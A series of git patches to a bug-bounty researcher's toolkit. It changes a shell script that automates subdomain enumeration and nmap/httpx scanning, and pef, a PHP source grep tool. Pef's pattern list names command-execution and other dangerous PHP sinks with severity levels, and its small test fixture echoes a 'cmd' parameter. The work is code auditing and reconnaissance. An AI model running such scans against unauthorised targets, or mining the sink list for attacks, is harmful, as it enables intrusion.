@@ nfs_enum() { } # quick scope, but for single domain - no need to create scope file -peek() { +enum() { TMPDIR=$(pwd)/$1 if [[ ! -d $TMPDIR ]]; then mkdir -p $TMPDIR @@ -232,23 +232,17 @@ peek() { sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log rm -f $TMPDIR/step* - # httpx - echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log - # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log - rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' } @@ -722,8 +716,8 @@ case "$cmd" in set_ip) set_ip "$2" ;; - peek) - peek "$2" + enum) + enum "$2" ;; webservers) webservers "$2" @@ -849,7 +843,7 @@ case "$cmd" in clear echo -e "$CLR" echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" + echo -e "$CYAN enum $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 48d109b04f5b194dda615e43beafd8f7ee665dd2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 Dec 2024 11:48:29 +0000 Subject: [PATCH 438/460] [pef] check level param; default levels --- Vi/vi.py | 2 +- pef/pef.py | 20 ++++++++++++-------- s0mbra.sh | 29 +++++------------------------ 3 files changed, 18 insertions(+), 33 deletions(-) diff --git a/Vi/vi.py b/Vi/vi.py index 7e4fddc..43408b9 100755 --- a/Vi/vi.py +++ b/Vi/vi.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 import re import urllib.parse from collections import deque diff --git a/pef/pef.py b/pef/pef.py index 407e036..2953b73 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -153,6 +153,10 @@ "DELETE.*FROM" ] +# allowed scan levels +ALLOWED_LEVELS = ['ALL', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'] +DEFAULT_LEVELS = 'MEDIUM,HIGH,CRITICAL' + def banner(): """ @@ -334,30 +338,30 @@ def print_summary(self, total_found: int) -> None: phpfunction = '' parser.add_argument( - "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") + "-s", "--skip-vendor", help=f"exclude ./vendor folder", action="store_true") parser.add_argument( - "-v", "--verbose", help="show documentation", action="store_true") + "-v", "--verbose", help=f"show documentation", action="store_true") parser.add_argument( "-l", "--level", - help="severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL\nif -f is set, this setting is ignored") + help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS} if -f is set, this setting is ignored") parser.add_argument( - "-S", "--sources", help="show only sources", action="store_true") + "-S", "--sources", help=f"show only sources", action="store_true") parser.add_argument( - "-K", "--sinks", help="show only sinks", action="store_true") + "-K", "--sinks", help=f"show only sinks", action="store_true") parser.add_argument( "-f", "--function", - help="Search for particular PHP function (eg. unserialize)", + help=f"Search for particular PHP function (eg. unserialize)", ) parser.add_argument( "-d", "--dir", - help="Directory to scan (or sinlge file, optionally)", + help=f"Directory to scan (or sinlge file, optionally)", ) args = parser.parse_args() - level = args.level.upper() if args.level else 'MEDIUM,HIGH,CRITICAL' + level = args.level.upper() if args.level in ALLOWED_LEVELS else 'MEDIUM,HIGH,CRITICAL' # if we are looking for a specific function, level is not taken into account if args.function is not None: diff --git a/s0mbra.sh b/s0mbra.sh index bcc9f7b..34b3f86 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -237,33 +237,18 @@ enum() { rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log - END_TIME=$(date) - echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" - echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' -} - - -# httpx only list -webservers() { - if [[ -z $1 ]]; then - SUBDOMAINS="subdomains_final.log" - elif [[ -n $1 ]]; then - SUBDOMAINS="$1" - fi - START_TIME=$(date) # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $(pwd)/$SUBDOMAINS -o $(pwd)/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -fcdn cloudfront -v -stats -status-code -web-server -tech-detect -mc 200,301,302,304,403,500 -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $(pwd)/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choom, we have some webservers to hack!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? @@ -719,9 +704,6 @@ case "$cmd" in enum) enum "$2" ;; - webservers) - webservers "$2" - ;; recon) recon "$2" "$3" "$4" ;; @@ -844,7 +826,6 @@ case "$cmd" in echo -e "$CLR" echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN enum $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN webservers $GRAY[SUBDOMAINS FILE]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From 17d3f99b9cb453fd0efc0e02578647879d47b198 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 7 Dec 2024 11:54:09 +0000 Subject: [PATCH 439/460] [pef] exit when no dir/file provided for scan --- pef/pef.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pef/pef.py b/pef/pef.py index 2953b73..92d4be2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -373,6 +373,10 @@ def print_summary(self, total_found: int) -> None: if args.sinks: source_or_sink = 'sink' + if args.dir is None: + print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") + exit(0) + filename = args.dir # main orutine starts here From 2093050e422e6189a3f8f0e44164941d0635b9ad Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 20 Feb 2025 16:03:35 +0000 Subject: [PATCH 440/460] [s0mbra] remove sublister; added amass --- pef/pef.py | 2 +- s0mbra.sh | 13 +++++++------ 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 92d4be2..e0a8e12 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -376,7 +376,7 @@ def print_summary(self, total_found: int) -> None: if args.dir is None: print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") exit(0) - + filename = args.dir # main orutine starts here diff --git a/s0mbra.sh b/s0mbra.sh index 34b3f86..d4e4b83 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -218,16 +218,17 @@ enum() { DOMAIN=$1 echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" - # sublister - echo -e "\n$GREEN--> sublister$CLR\n" - sublister -v -d $DOMAIN -o "$TMPDIR/sublister_$DOMAIN.log" - + # amass passive enum + echo -e "\n$GREEN--> amass (takes some time, so sit tight, Choom...)$CLR\n" + amass enum -passive -d $DOMAIN -o "$TMPDIR/amass.tmp" + cut -d' ' -f 1 "$TMPDIR/amass.tmp" | grep -e '[a-z]' | sort -u | sed "s,\x1B\[[0-9;]*[a-zA-Z],,g" | grep $DOMAIN > "$TMPDIR/enum_amass.log" + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/subfinder.log + subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/enum_subfinder.log # prepare list of uniqe subdomains - cat $TMPDIR/sub* > $TMPDIR/step1 + cat $TMPDIR/enum* > $TMPDIR/step1 sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 sort -u -k 1 $TMPDIR/step2 > $TMPDIR/subdomains_final.log rm -f $TMPDIR/step* From 53a7fcc4094613ed6148df5ad59602444470860c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 21 Feb 2025 16:59:11 +0000 Subject: [PATCH 441/460] [pef] fix for multiple levels passed --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index e0a8e12..a3f4b3e 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -361,7 +361,7 @@ def print_summary(self, total_found: int) -> None: args = parser.parse_args() - level = args.level.upper() if args.level in ALLOWED_LEVELS else 'MEDIUM,HIGH,CRITICAL' + level = args.level.upper() if args.level else 'HIGH,CRITICAL' # if we are looking for a specific function, level is not taken into account if args.function is not None: From ca76b87a368a62072ba0f4c38a46dce2fa2ad634 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 21 Feb 2025 17:03:42 +0000 Subject: [PATCH 442/460] [pef] do not clear screen between calls --- pef/pef.py | 1 - 1 file changed, 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index a3f4b3e..aa9daa2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -288,7 +288,6 @@ def run(self): runs scanning """ total_found = 0 - os.system('clear') print( f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") From 2541ea6d34e1b3df96c7f6397b8cab1b6dd8700d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 10 Mar 2025 09:13:48 +0000 Subject: [PATCH 443/460] [pef] update severity level for . variables --- pef/imports/pefdocs.py | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index d17844c..e422511 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -566,21 +566,21 @@ "$_POST reference found", "", "", - "high", + "critical", "source" ], "$_GET": [ "$_GET reference found", "", "", - "high", + "critical", "source" ], "$_REQUEST": [ "$_REQUEST reference found", "", "", - "high", + "critical", "source" ], "$_COOKIES": [ @@ -589,5 +589,12 @@ "", "high", "source" + ], + "$_SESSION": [ + "$_SESSION reference found", + "", + "", + "high", + "source" ] } From c2cd5a721e50765cb6d4959697780a82266f3c3b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 13 Mar 2025 13:40:54 +0000 Subject: [PATCH 444/460] [pef] updates --- pef/imports/pefdocs.py | 14 ++++++++++++++ pef/pef.py | 8 ++++---- 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index e422511..2952215 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -583,6 +583,20 @@ "critical", "source" ], + "$_FILES": [ + "$_FILES reference found", + "", + "", + "high", + "source" + ], + "$_ENV": [ + "$_ENV reference found", + "", + "", + "medium", + "source" + ], "$_COOKIES": [ "$_COOKIES reference found", "", diff --git a/pef/pef.py b/pef/pef.py index aa9daa2..3ccf16f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -163,9 +163,9 @@ def banner(): Prints welcome banner with contact info """ print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Exploitable Functions source code advanced grep utility", + print("-" * 6, " PEF | PHP Source Code grep tool", " " * 35, "-" * 16) - print("-" * 6, " GitHub: bl4de | Twitter: @_bl4de | bloorq@gmail.com ", + print("-" * 6, " https://github.com/bl4de ", " " * 22, "-" * 16) print("-" * 100, "\33[0m\n") @@ -235,7 +235,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou } meets_criteria = 0 - # print legend only if there i sentry in pefdocs.py + # print legend only if there is entry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) @@ -323,7 +323,7 @@ def print_summary(self, total_found: int) -> None: """ print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") - print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") + print(f"{beautyConsole.getColor('grey')}Level: {beautyConsole.getColor('green')}LOW,{beautyConsole.getColor('yellow')}MEDIUM,HIGH,{beautyConsole.getColor('red')}CRITICAL{beautyConsole.getColor('grey')}\n") # main program From e375e73ab0ab613b915172bbb97c2556f58291fe Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 6 Apr 2025 12:44:20 +0100 Subject: [PATCH 445/460] [s0mbra] update enum message --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d4e4b83..cfae07f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -245,7 +245,7 @@ enum() { END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY amass+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" From 99116cf4b8e883990a001cb65a17addcdf85287d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Apr 2025 16:45:15 +0100 Subject: [PATCH 446/460] [pef] added _SESSION --- pef/imports/pefdocs.py | 2 +- pef/pef.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 2952215..ed8f95b 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -608,7 +608,7 @@ "$_SESSION reference found", "", "", - "high", + "medium", "source" ] } diff --git a/pef/pef.py b/pef/pef.py index 3ccf16f..b4f9a94 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -132,6 +132,7 @@ "$_COOKIE", "$_REQUEST", "$_SERVER", + "$_SESSION", "include($_GET", "require($_GET", "include_once($_GET", From a37c78c82231cc969ba0b86acdb4e4ac8fd4e494 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 24 Apr 2025 18:03:14 +0100 Subject: [PATCH 447/460] [pef] added extractTo() --- pef/imports/pefdocs.py | 7 +++++++ pef/pef.py | 1 + 2 files changed, 8 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index ed8f95b..bf153e7 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -534,6 +534,13 @@ "high", "source" ], + "extractTo(": [ + "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", + "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", + "Arbitrary file write", + "medium", + "source" + ], "SELECT.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", diff --git a/pef/pef.py b/pef/pef.py index b4f9a94..a59b2e8 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -127,6 +127,7 @@ "__sleep(", "filter_var(", "file_put_contents(", + "extractTo(", "$_POST", "$_GET", "$_COOKIE", From 3bd5ec1e97f1668b28eb6ecf309b9a9842e7e70e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 25 Apr 2025 08:01:10 +0100 Subject: [PATCH 448/460] [pef] changes --- pef/imports/pefdocs.py | 7 +++++++ pef/pef.py | 41 ++++++++++++++--------------------------- pef/test.php | 3 +++ 3 files changed, 24 insertions(+), 27 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index bf153e7..c05b10c 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -617,5 +617,12 @@ "", "medium", "source" + ], + "$_SERVER": [ + "$_SERVER reference found", + "", + "", + "medium", + "source" ] } diff --git a/pef/pef.py b/pef/pef.py index a59b2e8..4e1329f 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -130,7 +130,7 @@ "extractTo(", "$_POST", "$_GET", - "$_COOKIE", + "$_COOKIES", "$_REQUEST", "$_SERVER", "$_SESSION", @@ -142,13 +142,6 @@ "require($_REQUEST", "include_once($_REQUEST", "require_once($_REQUEST", - "$_SERVER[\"PHP_SELF\"]", - "$_SERVER[\"SERVER_ADDR\"]", - "$_SERVER[\"SERVER_NAME\"]", - "$_SERVER[\"REMOTE_ADDR\"]", - "$_SERVER[\"REMOTE_HOST\"]", - "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]", "SELECT.*FROM", "INSERT.*INTO", "UPDATE.*", @@ -207,22 +200,16 @@ def analyse_line(self, l, i, fn, f, line): """ total_number_of_isses = None meets_criteria = 0 - tokens = [token for token in line.split(' ') if token != "\n"] - - # check agains @ at the beginning of the function name - atfn = f"@{fn}" - fn = f"{fn}" - - for token in tokens: - if token.startswith(fn) or token.startswith(atfn): - if fn == "`": - total_number_of_isses = self.print_code_line( - f.name, l, i, fn, self.severity, self.level, self.source_or_sink) - else: - total_number_of_isses = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, - self.source_or_sink) - meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + + if fn in line: + if fn == "`": + total_number_of_isses = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) + else: + total_number_of_isses = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria return (meets_criteria, total_number_of_isses) def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): @@ -230,8 +217,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou prints formatted code line """ impact_color = { - "low": "green", - "medium": "yellow", + "low": "grey", + "medium": "green", "high": "yellow", "critical": "red" } @@ -325,7 +312,7 @@ def print_summary(self, total_found: int) -> None: """ print(f"{beautyConsole.getColor('white')}Patterns found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") - print(f"{beautyConsole.getColor('grey')}Level: {beautyConsole.getColor('green')}LOW,{beautyConsole.getColor('yellow')}MEDIUM,HIGH,{beautyConsole.getColor('red')}CRITICAL{beautyConsole.getColor('grey')}\n") + print(f"{beautyConsole.getColor('grey')}Severity levels: {beautyConsole.getColor('grey')} LOW {beautyConsole.getColor('green')} MEDIUM {beautyConsole.getColor('yellow')} HIGH {beautyConsole.getColor('red')} CRITICAL{beautyConsole.getColor('grey')}\n") # main program diff --git a/pef/test.php b/pef/test.php index 3bb1f9e..2008858 100644 --- a/pef/test.php +++ b/pef/test.php @@ -4,6 +4,9 @@ echo $_GET['cmd']; } +$_SERVER['x']; + `ls -lA`; []; +$test = $_COOKIES['x']; From 77f45c7689f54777560d246c26274ec24a7d18af Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 28 Apr 2025 18:57:14 +0100 Subject: [PATCH 449/460] [s0mbra] update jadx version --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index cfae07f..bf782b0 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -531,7 +531,7 @@ dex_to_jar() { unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" - /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 + /Users/bl4de/hacking/tools/Java_Decompilers/jadx-1.5.1/bin/jadx-gui $1 } # runs disassembly agains binary From 79b67f3b8975fd356b3e93b6665cc8e168aeb6d5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 11 Jun 2025 13:32:58 +0100 Subject: [PATCH 450/460] [s0mbra] remove amass tmp file --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bf782b0..a779562 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -14,7 +14,6 @@ MAGENTA='\033[1;35m' CYAN='\033[36m' CLR='\033[0m' -NEWLINE='\n' # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { @@ -237,6 +236,7 @@ enum() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log + rm -f $TMPDIR/amass.tmp # httpx echo -e "\n$GREEN--> httpx$CLR\n" @@ -246,7 +246,7 @@ enum() { echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e "$GRAY amass+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" + echo -e "$GRAY httpx found \t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY 200 OKs web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" osascript -e 'display notification "Hey choom, enum finished!" with title "s0mbra says:"' From e03ccc55ac015123a2fd4985d01e1e8b826a2f76 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 23 Jun 2025 05:30:57 +0100 Subject: [PATCH 451/460] [s0mbra] refactoring --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a779562..a932357 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -38,10 +38,10 @@ full_nmap_scan() { quick_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" - nmap -p- --min-rate=1000 -T4 $1 + nmap -p- --min-rate=1000 -T4 "$1" else echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" - nmap --top-ports $2 --min-rate=1000 -T4 $1 + nmap --top-ports "$2" --min-rate=1000 -T4 "$1" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" From 7379f5103843eb6702111d42861d056242c30829 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 9 Jul 2025 18:53:39 +0100 Subject: [PATCH 452/460] [pef] add support for different languages --- pef/imports/pefdocs.py | 1364 ++++++++++++++++++++++------------------ pef/pef.py | 192 ++---- pef/test.js | 5 + 3 files changed, 800 insertions(+), 761 deletions(-) create mode 100644 pef/test.js diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index c05b10c..b48edf9 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -1,628 +1,752 @@ # Reference(S) for pef.py +# exploitable functions +exploitableFunctions = { + "javascript": [ + "eval(", + ], + "php": [ + "`", + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "arse_str(", + "parse_url(", + "preg_replace(", + "create_function(", + "passthru(", + "shell_exec(", + "popen(", + "proc_open(", + "pcntl_exec(", + "extract(", + "putenv(", + "ini_set(", + "mail(", + "unserialize(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + "show_source(", + "highlight_file(", + "fopen(", + "file(", + "fpassthru(", + "fsockopen(", + "gzopen(", + "gzread(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "odbc_exec(", + "sqlsrv_query(", + "PDO::query(", + "move_uploaded_file(", + "echo", + "print(", + "printf(", + "ldap_search(", + "sqlite_", + "sqlite_query(", + "pg_", + "pg_query(", + "mysql_", + "mysql_query(", + "mysqli::query(", + "mysqli_", + "mysqli_query(", + "apache_setenv(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "extract(", + "get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_exec(", + "php_uname(", + "phpinfo(", + "popen(", + "proc_open(", + "putenv(", + "symlink(", + "syslog(", + "curl_exec(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(", + "extractTo(", + "$_POST", + "$_GET", + "$_COOKIES", + "$_REQUEST", + "$_SERVER", + "$_SESSION", + "include($_GET", + "require($_GET", + "include_once($_GET", + "require_once($_GET", + "include($_REQUEST", + "require($_REQUEST", + "include_once($_REQUEST", + "require_once($_REQUEST", + "SELECT.*FROM", + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" + ] +} + # doc dipslayed: # 1st element - description # 2nd element - syntax # 3rd element - possible vulnerability classes exploitableFunctionsDesc = { - "`": [ - "Allows to execute system command", - "`$command`", - "RCE", - "critical", - "sink" - ], - "system()": [ - "Allows to execute system command passed as an argument", - "system ( string $command [, int &$return_var ] ) : string", - "RCE", - "critical", - "sink" - ], - "exec()": [ - "exec - Execute an external program", - "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", - "RCE", - "critical", - "sink" - ], - "call_user_func_array()": [ - "Call a callback with an array of parameters", - "call_user_func_array ( callable $callback , array $param_arr ) : mixed", - "RCE", - "high", - "sink" - ], - "parse_url()": [ - "parse_url — Parse a URL and return its components", - "parse_url(string $url, int $component = -1): mixed", - "SSRF, Filter Bypass", - "medium", - "sink" - ], - "parse_str()": [ - "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", - "parse_str ( string $encoded_string [, array &$result ] ) : void" - "Code Injection", - "high", - "sink" - ], - "eval()": [ - "Evaluate a string as PHP code", - "eval ( string $code ) : mixed", - "RCE", - "critical", - "sink" - ], - "preg_replace()": [ - "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", - "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", - "RCE (in certain conditions)", - "medium" - ], - "create_function()": [ - "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", - "create_function ( string $args , string $code ) : string", - "Code Injection, RCE", - "medium", - "sink" - ], - "passthru()": [ - "Execute an external program and display raw output", - "passthru ( string $command [, int &$return_var ] ) : void", - "RCE", - "critical", - "sink" - ], - "shell_exec()": [ - "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", - "shell_exec ( string $cmd ) : string", - "RCE", - "critical", - "sink" - ], - "popen()": [ - "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", - "popen ( string $command , string $mode ) : resource", - "Code Injection", - "critical", - "sink" - ], - "proc_open()": [ - "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program 